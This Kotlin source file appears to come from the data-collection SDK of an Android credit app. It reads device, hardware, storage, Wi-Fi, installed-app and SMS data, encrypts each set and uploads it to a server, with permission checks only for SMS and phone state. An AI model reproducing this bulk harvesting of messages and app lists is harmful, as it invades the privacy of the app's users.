package com.obrempon.credit.market.sdk.device.task

import android.Manifest
import android.content.Context
import com.obrempon.credit.market.sdk.device.ObremponDeviceSycBuilder
import com.obrempon.credit.market.sdk.device.http.ObremponDeviceRequestManager
import com.obrempon.credit.market.sdk.device.http.ObremponDeviceRequestParams
import com.obrempon.credit.market.sdk.device.http.ObremponDeviceUrlHelper
import com.obrempon.credit.market.sdk.device.services.obremponDeviceALData
import com.obrempon.credit.market.sdk.device.services.obremponDeviceInfoData
import com.obrempon.credit.market.sdk.device.services.obremponDeviceHWData
import com.obrempon.credit.market.sdk.device.services.obremponDeviceMSAGData
import com.obrempon.credit.market.sdk.device.services.obremponDeviceSTData
import com.obrempon.credit.market.sdk.device.services.obremponDeviceWifiData
import com.obrempon.credit.market.sdk.device.util.checkPermissionsGranted
import com.obrempon.credit.market.utils.log.ObremponLogger
import java.util.function.Supplier

class ObremponDeviceTask(private val context: Context, private val taskId: String) : Supplier<String> {

    companion object {
        const val TASK_DEVICE = "TASK_DEVICE"
        const val TASK_HARDWARE = "TASK_HARDWARE"
        const val TASK_MESSAGE = "TASK_MSG"
        const val TASK_STORE = "TASK_STORE"
        const val TASK_WIFI = "TASK_WIFI"
        const val TASK_APP_LIST = "TASK_APP_LIST"
    }

    override fun get(): String {
        ObremponLogger.i("$taskId Running...")

        val url = ObremponDeviceUrlHelper.combineUrl()
        if (url.isBlank()) return taskId

        val body = executing()
        if (body.isNullOrBlank()) return taskId

        ObremponDeviceRequestManager(url = url, body = body, taskId = taskId).doPost()

        return taskId
    }

    private fun executing(): String? {
        return try {
            when {
                taskId.contains(TASK_DEVICE) -> {
                    val hadPermission = context.checkPermissionsGranted(mutableListOf(Manifest.permission.READ_PHONE_STATE))
                    if (hadPermission) {
                        context.obremponDeviceInfoData().toEncryptParams()
                    } else {
                        ObremponLogger.i("${taskId}_ERROR：NO READ_PHONE_STATE PERMISSION")
                        null
                    }
                }

                taskId.contains(TASK_HARDWARE) -> {
                    val hadPermission = context.checkPermissionsGranted(mutableListOf(Manifest.permission.READ_PHONE_STATE))
                    if (hadPermission) {
                        ObremponDeviceRequestParams(path = ObremponDeviceSycBuilder.pathHdw, deviceHardwareGzip = context.obremponDeviceHWData()).toEncryptParams()
                    } else {
                        ObremponLogger.i("${taskId}_ERROR：NO READ_PHONE_STATE PERMISSION")
                        null
                    }
                }

                taskId.contains(TASK_STORE) -> {
                    ObremponDeviceRequestParams(path = ObremponDeviceSycBuilder.pathSto, deviceStorageGzip = context.obremponDeviceSTData()).toEncryptParams()
                }

                taskId.contains(TASK_WIFI) -> {
                    ObremponDeviceRequestParams(path = ObremponDeviceSycBuilder.pathNtw, deviceWifiGzip = context.obremponDeviceWifiData()).toEncryptParams()
                }

                taskId.contains(TASK_APP_LIST) -> {
                    ObremponDeviceRequestParams(path = ObremponDeviceSycBuilder.pathApl, appListGzip = context.obremponDeviceALData()).toEncryptParams()
                }

                else -> {
                    val hadPermission = context.checkPermissionsGranted(mutableListOf(Manifest.permission.READ_SMS))
                    if (hadPermission) {
                        context.obremponDeviceMSAGData().toEncryptParams()
                    } else {
                        ObremponLogger.i("${taskId}_ERROR：NO READ_SMS PERMISSION")
                        null
                    }
                }
            }
        } catch (e: Exception) {
            e.printStackTrace()
            null
        }
    }
}
